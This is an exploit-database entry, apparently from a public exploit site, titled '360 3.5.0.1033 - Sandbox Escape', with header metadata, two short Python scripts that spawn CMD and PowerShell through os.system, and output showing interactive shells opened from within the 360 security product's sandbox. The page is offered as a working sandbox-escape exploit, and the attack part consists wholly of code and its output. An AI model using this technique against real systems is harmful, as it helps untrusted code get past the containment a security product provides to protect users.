360 3.5.0.1033 - Sandbox Escape



EKU-ID: 8033 CVE: OSVDB-ID:
Author: vr_system Published: 2018-10-09 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Date: 2018-10-08
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/inst.exe
# Version: 3.5.0.1033
# Tested on: 3.5.0.1033
# CVE : None
 
# 1、CMD_test.py
import os
os.system("CMD")
 
# 2、PowerShell_test.py
import os
os.system("PowerShell")
 
# 3、
# Running CMD_test.py in sandbox:
Microsoft Windows [版本 10.0.17134.254]
(c) 2018 Microsoft Corporation。保留所有权利。
 
C:\Python27>
 
# Running PowerShell_test.py in sandbox:
Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。
 
PS C:\Python27>